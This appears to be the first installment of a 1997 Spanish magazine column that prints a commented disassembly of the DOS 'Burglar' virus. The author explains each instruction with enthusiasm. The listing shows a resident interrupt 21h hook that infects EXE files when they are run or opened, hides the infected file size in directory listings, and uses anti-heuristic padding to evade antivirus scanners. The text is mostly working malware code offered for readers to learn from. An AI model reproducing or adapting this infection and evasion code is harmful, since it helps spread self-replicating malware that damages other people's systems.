home *** CD-ROM | disk | FTP | other *** search
/ PCMania 64 / PCMania CD64_1.iso / phy / phy002 / files / articulo.005 < prev    next >
Encoding:
Text File  |  1997-01-27  |  21.6 KB  |  318 lines

  1. *cN                            Virus Informáticos (I)
  2. *cG
  3. ;;----  COMENTARIO DEL VIRUS    B U R G L A R
  4.                                 -------------
  5.  
  6. ;; Bien! Aquí tenemos el primer virus de la sección. Está plenamente comenta-
  7. ;; do, aunque hay por ahí alguna cosilla que se me ha resistido. Naturalmente,
  8. ;; parto de que sabéis ensamblador. Pero si no sabéis, seguid atentamente la
  9. ;; sección de Programación, donde lo aprenderéis fácilmente (eso esperamos),
  10. ;; y más adelante podrás entender claramente todo lo que se hace aquí. Sin
  11. ;; más, a observar, que nuestro trabajo nos ha costado (mentira, nos costó un
  12. ;; sólo día, pero así tenemos excusa para obligarte a que lo mires :-).
  13. ;; Está pasado directamente con el DEBUG del DOS, y hemos conservado las direc-
  14. ;; ciones de segmento porque hay veces que las usa y así es más fácil de seguir
  15. ;; el código.
  16.  
  17. ;; P.D.: Si aún sabiendo ensamblador no entiendes algún comentario o procedi-
  18. ;; miento, o bien quieres aclararnos alguna duda o error que hayamos tenido,
  19. ;; sólo tienes que escribir o enviarnos un e-mail a las direcciones que encon-
  20. ;; trarás en la sección de suscripción. ¡Hasta pronto!
  21.  
  22. ;; FICHA TÉCNICA DEL VIRUS:
  23. ;;-------------------------
  24.  
  25. ;; - Infector de EXEs en ejecución, apertura y al cambiarle los atributos.
  26. ;; - Mínimas propiedades stealth (muestra el tamaño original al hacer DIR)
  27. ;; - Efecto: Mensaje en pantalla si una infección se produce en el minuto 11
  28. ;;           de cualquier hora.
  29. ;; - Stealth de infección: Parchea la interrupción 24h y cambia atributos
  30. ;; - Técnicas anti-heurísticas
  31. ;; - Y algo más por ahí :-)
  32.  
  33.  
  34. 0FF1:0000 E95A03        JMP     035D         ; Salto al verdadero inicio del
  35.                                                virus.
  36.                                       ; Mensaje:
  37. 0FF1:0003 90            NOP           ; 'AT THE GRAVE OF GRANDMA...'                             
  38. 0FF1:0004 41            INC     CX                                  
  39. 0FF1:0005 54            PUSH    SP                                  
  40. 0FF1:0006 205448        AND     [SI+48],DL                          
  41. 0FF1:0009 45            INC     BP                                  
  42. 0FF1:000A 204752        AND     [BX+52],AL                          
  43. 0FF1:000D 41            INC     CX                                  
  44. 0FF1:000E 56            PUSH    SI                                  
  45. 0FF1:000F 45            INC     BP                                   
  46. 0FF1:0010 204F46        AND     [BX+46],CL                          
  47. 0FF1:0013 204752        AND     [BX+52],AL                          
  48. 0FF1:0016 41            INC     CX                                  
  49. 0FF1:0017 4E            DEC     SI                                  
  50. 0FF1:0018 44            INC     SP                                  
  51. 0FF1:0019 4D            DEC     BP                                  
  52. 0FF1:001A 41            INC     CX                                  
  53. 0FF1:001B 2E            CS:                           
  54. 0FF1:001C 2E            CS:
  55. 0FF1:001D 2E            CS:
  56.  
  57.                                           ; Desde :006F y :0074
  58.                                           ; Aquí en caso de que sean las fun-
  59.                                           ; ciones "buscar 1ª entrada de direc-
  60.                                           ; torio" y "buscar siguiente"
  61. 0FF1:001E 2E            CS:               ; Efectúa la interrupción 21h para 
  62. 0FF1:001F FF1EA700      CALL    FAR [00A7]  ; que le devuelva los valores que
  63.                                             ; ahora usará.    
  64. 0FF1:0023 9C            PUSHF             ; Guarda las banderas en el Stack                         
  65. 0FF1:0024 3CFF          CMP     AL,FF     ; Comprueba si hay error (no ha en-
  66.                                           ; contrado archivos).
  67. 0FF1:0026 742C          JZ      0054      ; Si hay error, salta y acaba.                         
  68. 0FF1:0028 90            NOP                 
  69. 0FF1:0029 50            PUSH    AX           
  70. 0FF1:002A 56            PUSH    SI            
  71. 0FF1:002B 1E            PUSH    DS        ; Guarda AX, SI y DS en el stack                         
  72. 0FF1:002C 2E            CS:               ; En el par DS:SI, el DTA                         
  73. 0FF1:002D 8B362F05      MOV     SI,[052F]                            
  74. 0FF1:0031 2E            CS:                                         
  75. 0FF1:0032 8E1E3105      MOV     DS,[0531]                           
  76. 0FF1:0036 803CFF        CMP     BYTE PTR [SI],FF ; Mira si [SI] es 0FFh y por
  77.                                                  ; tanto un FCB ampliado
  78. 0FF1:0039 7503          JNZ     003E           ; Si no es, evita hacer lo si-
  79.                                                ; guiente      
  80. 0FF1:003B 83C607        ADD     SI,+07         ; Suma 7 a SI para adaptarlo a
  81.                                                ; un FCB ampliado
  82. 0FF1:003E 8A4417        MOV     AL,[SI+17]   ; En AL, el 2º byte de la hora
  83.                                              ; en formato empaquetado     
  84. 0FF1:0041 241D          AND     AL,1D        ; Mira si los segundos del archi-                    
  85. 0FF1:0043 3C1D          CMP     AL,1D        ; vo están a 56
  86. 0FF1:0045 750A          JNZ     0051         ; Si no lo están, acaba                      
  87. 0FF1:0047 90            NOP                 
  88. 0FF1:0048 816C1D7E04    SUB     WORD PTR [SI+1D],047E ; Le resta el tamaño del
  89. 0FF1:004D 835C1F00      SBB     WORD PTR [SI+1F],+00 ; virus al archivo, pues-
  90.                                                      ; to que está infectado.   
  91. 0FF1:0051 1F            POP     DS           ; Saca del stack los registros                      
  92. 0FF1:0052 5E            POP     SI           ; guardados                      
  93. 0FF1:0053 58            POP     AX                                  
  94. 0FF1:0054 9D            POPF                                    
  95. 0FF1:0055 CA0200        RETF    0002         ; Vuelve
  96.  
  97.  
  98. ;;;;;;;;;;;; NUEVA INTERRUPCION 21h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  99.  
  100. 0FF1:0058 2E            CS:                                         
  101. 0FF1:0059 C606330500    MOV     BYTE PTR [0533],00  ; Pone un byte en :0533 a
  102.                                                     ; 0 que le indica ??. Es-
  103.                                                     ; to sirve también para
  104.                                                     ; evitar flags, en concre-
  105.                                                     ; to el flag 'M' del Thun-
  106.                                                     ; derbyte Anti-virus
  107. 0FF1:005E 9C            PUSHF                       ; Guarda los flags               
  108. 0FF1:005F 3D78F0        CMP     AX,F078             ; Comprueba si la función               
  109. 0FF1:0062 90            NOP                         ; es un installation-check
  110.                                                     ; del propio virus.
  111. 0FF1:0063 7506          JNZ     006B                ; Si no lo es, continúa.
  112.                                               
  113. 0FF1:0065 33C0          XOR     AX,AX               ; Si es una comprobación               
  114. 0FF1:0067 9D            POPF                        ; por parte del virus en
  115. 0FF1:0068 CF            IRET                        ; archivo de saber si está
  116.                                                     ; en memoria, pone AX a 0
  117.                                                     ; y retorna de la interr.
  118.                                         
  119. 0FF1:0069 90            NOP              ; Más NOPs anti-heurísticos                           
  120. 0FF1:006A 90            NOP                                         
  121. 0FF1:006B 90            NOP                                         
  122. 0FF1:006C 80FC11        CMP     AH,11    ; Comprueba si son las funciones
  123. 0FF1:006F 74AD          JZ      001E     ; "busca 1ª entrada de directorio" y                          
  124. 0FF1:0071 80FC12        CMP     AH,12    ; "busca siguiente entrada". En ese
  125. 0FF1:0074 74A8          JZ      001E     ; caso salta a :001E.
  126.  
  127. 0FF1:0076 80FC3D        CMP     AH,3D    ; Si es la función "abrir archivo                                                
  128. 0FF1:0079 7442          JZ      00BD     ; (handle)", salta a :00BD.
  129.  
  130. 0FF1:007B 80FC43        CMP     AH,43    ; Si es "obtener atributos", salta a                          
  131. 0FF1:007E 743D          JZ      00BD     ; :00BD también.
  132.  
  133. 0FF1:0080 80FC13        CMP     AH,13    ; Si es "Borrar archivo (FCBs)"                          
  134. 0FF1:0083 7432          JZ      00B7     ; ó                           
  135. 0FF1:0085 80FC36        CMP     AH,36    ; "Obtener capacidad restante de dis-
  136. 0FF1:0088 742D          JZ      00B7     ; co duro" salta también (esto son
  137.                                          ; anti-heurísticos, y evitan que el
  138.                                          ; virus detecte sólamente las funcio-
  139.                                          ; nes de "abrir handle" y la función
  140.                                          ; EXEC, cosa que detectan muchos an-
  141.                                          ; tivirus heurísticos).
  142. 0FF1:008A 80FC4B        CMP     AH,4B    ; Si es la función EXEC salta.
  143. 0FF1:008D 90            NOP              ; NOPs que evitan que la comprobación                          
  144. 0FF1:008E 90            NOP              ; esté directamente unida al salto.
  145. 0FF1:008F 742C          JZ      00BD     ; Salta a :00BD
  146.  
  147. 0FF1:0091 80FC6C        CMP     AH,6C    ; Comprueba si es la función OPEN am-
  148. 0FF1:0094 7427          JZ      00BD     ; pliada, y en ese caso salta
  149. 0FF1:0096 80FC1A        CMP     AH,1A    ; Si no es "Fijar dirección del DTA",
  150. 0FF1:0099 750A          JNZ     00A5     ; salta a la antigua int 21h
  151. 0FF1:009B 2E            CS:                ; Guarda el puntero al nuevo DTA                       
  152. 0FF1:009C 89162F05      MOV     [052F],DX  ; en la zona de datos del virus                        
  153. 0FF1:00A0 2E            CS:                                         
  154. 0FF1:00A1 8C1E3105      MOV     [0531],DS                           
  155. 0FF1:00A5 9D            POPF               ; Recupera las banderas del Stack
  156. 0FF1:00A6 EA8310EBE3    JMP     E3EB:1083  ; Puntero a la interrupción 21h
  157.  
  158. 0FF1:00AB 90            NOP                ; NOPs basura                        
  159. 0FF1:00AC 90            NOP                 
  160.  
  161. ;; Rutina de ejecución de la interrupción 21h
  162.  
  163. 0FF1:00AD 86E0          XCHG    AH,AL      ; Intercambia AH y AL (método an-                       
  164. 0FF1:00AF 90            NOP                ; ti-heurístico)                        
  165. 0FF1:00B0 9C            PUSHF                                       
  166. 0FF1:00B1 2E            CS:                                         
  167. 0FF1:00B2 FF1EA700      CALL    FAR [00A7]  ; Interrupción 21h                       
  168. 0FF1:00B6 C3            RET                 ; Retorna
  169.  
  170.  
  171.                                   ; Desde :0083 y :0088
  172. 0FF1:00B7 2E            CS:                      ; Pone en :047E el valor 01                              
  173. 0FF1:00B8 C6067E0401    MOV     BYTE PTR [047E],01
  174.  
  175.                                   ; Desde :0079, :007E, :008F y :0094
  176. 0FF1:00BD 90            NOP                                         
  177. 0FF1:00BE 50            PUSH    AX                                  
  178. 0FF1:00BF 53            PUSH    BX                                  
  179. 0FF1:00C0 51            PUSH    CX                                  
  180. 0FF1:00C1 52            PUSH    DX                                  
  181. 0FF1:00C2 1E            PUSH    DS                                  
  182. 0FF1:00C3 06            PUSH    ES                                  
  183. 0FF1:00C4 56            PUSH    SI                                  
  184. 0FF1:00C5 57            PUSH    DI    ; Guarda todos los registros en el Stack                            
  185. 0FF1:00C6 80FC6C        CMP     AH,6C  ; Mira si es la función OPEN ampliada                            
  186. 0FF1:00C9 7502          JNZ     00CD   ; Si no es, salta a :00CD para evitar
  187.                                        ; lo siguiente. 
  188. 0FF1:00CB 8BD6          MOV     DX,SI  ; Si es la función OPEN ampliada, pone
  189.                                        ; SI del puntero DS:SI a DX para que el
  190.                                        ; puntero sea DS:DX
  191.  
  192. 0FF1:00CD 2E            CS:            ; Comprueba si [047E] tiene el valor 01                                        
  193. 0FF1:00CE 803E7E0401    CMP     BYTE PTR [047E],01 ; (funciones de "borrar ar-
  194.                                                    ; chivo (FCB)" y "obtener
  195.                                                    ; capacidad restante de
  196.                                                    ; disco duro")
  197. 0FF1:00D3 7406          JZ      00DB   ; Si es, evita lo siguiente.
  198.  
  199. 0FF1:00D5 E87900        CALL    0151   ; Macrofunción para comprobar si el ar-
  200.                                        ; chivo está infectado y, en caso con-
  201.                                        ; trario, infectarlo, además de hacer
  202.                                        ; el efecto del virus (un mensaje en
  203.                                        ; pantalla).
  204. 0FF1:00D8 EB5C          JMP     0136   ; Salta y acaba                           
  205. 0FF1:00DA 90            NOP                                         
  206. 0FF1:00DB 0E            PUSH    CS     ; CS = DS                            
  207. 0FF1:00DC 1F            POP     DS                                  
  208. 0FF1:00DD C606340500    MOV     BYTE PTR [0534],00 ; Pone [0534] a 0                
  209. 0FF1:00E2 B02F          MOV     AL,2F        ; Obtiene el DTA                      
  210. 0FF1:00E4 E8C6FF        CALL    00AD                                
  211. 0FF1:00E7 06            PUSH    ES           ; Guarda el puntero al DTA                      
  212. 0FF1:00E8 53            PUSH    BX                                  
  213. 0FF1:00E9 B01A          MOV     AL,1A        ; Fija la dirección del DTA a la                      
  214. 0FF1:00EB BAE504        MOV     DX,04E5      ; dirección :04E5 (dentro del vi-                     
  215. 0FF1:00EE E8BCFF        CALL    00AD         ; rus)
  216. 0FF1:00F1 B04E          MOV     AL,4E        ; Busca la primera entrada de di-                      
  217. 0FF1:00F3 B92700        MOV     CX,0027      ; rectorio (con cualquier nombre,
  218. 0FF1:00F6 BA2704        MOV     DX,0427      ; ya que usa *.* para ello).
  219. 0FF1:00F9 E8B1FF        CALL    00AD                                 
  220. 0FF1:00FC 7230          JB      012E         ; Si hay error, acaba                      
  221. 0FF1:00FE A0FB04        MOV     AL,[04FB]    ; Obtiene el byte menor de la ho-
  222.                                              ; ra del archivo en formato empa-
  223.                                              ; quetado
  224. 0FF1:0101 241D          AND     AL,1D        ; Mira si los segundos son 56-58                       
  225. 0FF1:0103 3C1D          CMP     AL,1D                                          
  226. 0FF1:0105 7423          JZ      012A         ; Si son, sigue con el siguiente 
  227.                                                                               
  228. 0FF1:0107 833E010500    CMP     WORD PTR [0501],+00  ; Mira si el archivo es  
  229.                                                      ; menor de 65536 bytes    
  230. 0FF1:010C 7508          JNZ     0116                 ; Si no es, salta lo que 
  231.                                                      ; viene                  
  232. 0FF1:010E 813EFF04E803  CMP     WORD PTR [04FF],03E8 ; Mira si el tamaño del  
  233.                                                      ; archivo es menor de    
  234.                                                      ; 1000 bytes             
  235. 0FF1:0114 7214          JB      012A      ; Si es menor, busca otro archivo                                                         
  236. 0FF1:0116 C70625050305  MOV     WORD PTR [0525],0503 ; En [0525] (donde empie-
  237.                                                      ; za la cadena del nom-  
  238.                                                      ; bre del archivo) se po-
  239.                                                      ; ne la dirección del
  240.                                                      ; nombre del archivo en  
  241.                                                      ; el DTA                 
  242. 0FF1:011C BA0305        MOV     DX,0503              ; En el puntero DS:DX se 
  243.                                                      ; encuentra ahora la ca- 
  244.                                                      ; dena del nombre del ar-
  245.                                                      ; chivo.                 
  246. 0FF1:011F E82F00        CALL    0151                 ; Lo infecta (si puede)  
  247. 0FF1:0122 2E            CS:                                                   
  248. 0FF1:0123 803E340503    CMP     BYTE PTR [0534],03  ; Mira si el byte en :0534
  249.                                                     ; es 03, y por tanto el    
  250.                                                     ; archivo ha podido ser    
  251.                                                     ; infectado               
  252. 0FF1:0128 7404          JZ      012E                ; Si es así, ya no infec- 
  253.                                                     ; ta más.                 
  254. 0FF1:012A B04F          MOV     AL,4F       ; Pone en AL la función de "buscar
  255.                                               siguiente entrada de directorio"  
  256. 0FF1:012C EBCB          JMP     00F9        ; Vuelve a repetir el proceso
  257. 0FF1:012E 5A            POP     DX          ; Saca la antigua dirección del                       
  258. 0FF1:012F 1F            POP     DS          ; DTA                       
  259. 0FF1:0130 9C            PUSHF                                       
  260. 0FF1:0131 B41A          MOV     AH,1A       ; La restaura                       
  261. 0FF1:0133 CD21          INT     21                                  
  262. 0FF1:0135 9D            POPF                        
  263.                                                      
  264. 0FF1:0136 5F            POP     DI       ; Recupera registros del stack                          
  265. 0FF1:0137 5E            POP     SI                                  
  266. 0FF1:0138 07            POP     ES                                  
  267. 0FF1:0139 1F            POP     DS                                  
  268. 0FF1:013A 5A            POP     DX                                  
  269. 0FF1:013B 59            POP     CX                                   
  270. 0FF1:013C 5B            POP     BX                                   
  271. 0FF1:013D 58            POP     AX                                  
  272. 0FF1:013E 2E            CS:                                         
  273. 0FF1:013F C6067E0400    MOV     BYTE PTR [047E],00  ; Pone [047E] a 0               
  274. 0FF1:0144 2E            CS:                                         
  275. 0FF1:0145 803E330501    CMP     BYTE PTR [0533],01  ; Comprueba que el byte
  276.                                                     ; en [0533] sea 1    
  277. 0FF1:014A 7502          JNZ     014E                ; Si no es, salta               
  278. 0FF1:014C 33DB          XOR     BX,BX               ; Si es 1, pone BX a 0               
  279. 0FF1:014E E954FF        JMP     00A5           ; Salta a la int 21h verdadera
  280.                                                         
  281.                                           ; Desde :00D5 y :011F
  282. 0FF1:0151 8BF2          MOV     SI,DX       ; En SI, DX                       
  283. 0FF1:0153 2E            CS:                                         
  284. 0FF1:0154 89162505      MOV     [0525],DX   ; En [0525] guarda DX                       
  285. 0FF1:0158 90            NOP                                         
  286. 0FF1:0159 AC            LODSB               ; Carga en AL el byte de la cadena
  287.                                             ; del nombre del archivo que va a
  288.                                             ; ser abierto.
  289. 0FF1:015A 0AC0          OR      AL,AL       ; Mira si es 00 y por tanto es fin
  290.                                             ; de cadena    
  291. 0FF1:015C 740F          JZ      016D        ; Salta a :016D                       
  292. 0FF1:015E 3C5C          CMP     AL,5C       ; Mira si es '\'                       
  293. 0FF1:0160 7404          JZ      0166        ; Salta, si es, :0166                       
  294. 0FF1:0162 3C3A          CMP     AL,3A       ; Mira si es ':'                       
  295. 0FF1:0164 75F3          JNZ     0159        ; Salta a :0159 y vuelve a hacer
  296.                                             ; el proceso.    
  297.                                          ; Desde :0160
  298. 0FF1:0166 2E            CS:              ; Pone en [0525] la nueva dirección                          
  299. 0FF1:0167 89362505      MOV     [0525],SI ; de la cadena.                         
  300. 0FF1:016B EBEC          JMP     0159     ; vuelve a hacer el proceso.
  301.                                       ; Desde :015C. Aquí llega conteniendo
  302.                                       ; en SI el byte final de la cadena (el
  303.                                       ; 00).
  304. 0FF1:016D 80FC4B        CMP     AH,4B ; Mira si es la función de ejecución.                             
  305. 0FF1:0170 90            NOP           ; NOP anti-heurístico.                             
  306. 0FF1:0171 740F          JZ      0182  ; Si es, salta a :0182                             
  307. 0FF1:0173 817CFB2E45    CMP     WORD PTR [SI-05],452E ; Mira si en SI-05 está
  308.                                                       ; la secuencia '.E'   
  309. 0FF1:0178 7507          JNZ     0181                  ; Si no es, retorna.             
  310. 0FF1:017A 817CFD5845    CMP     WORD PTR [SI-03],4558 ; Mira si es SI-03 está
  311.                                                       ; el resto de la exten-
  312.                                                       ; sión: 'XE'
  313. 0FF1:017F 7401          JZ      0182    ; Si es '.EXE', salta y no retorna.                           
  314. 0FF1:0181 C3            RET                                                                   
  315. *cM
  316. Continua...*cL
  317.                                                           Líyak el Oscuro.
  318.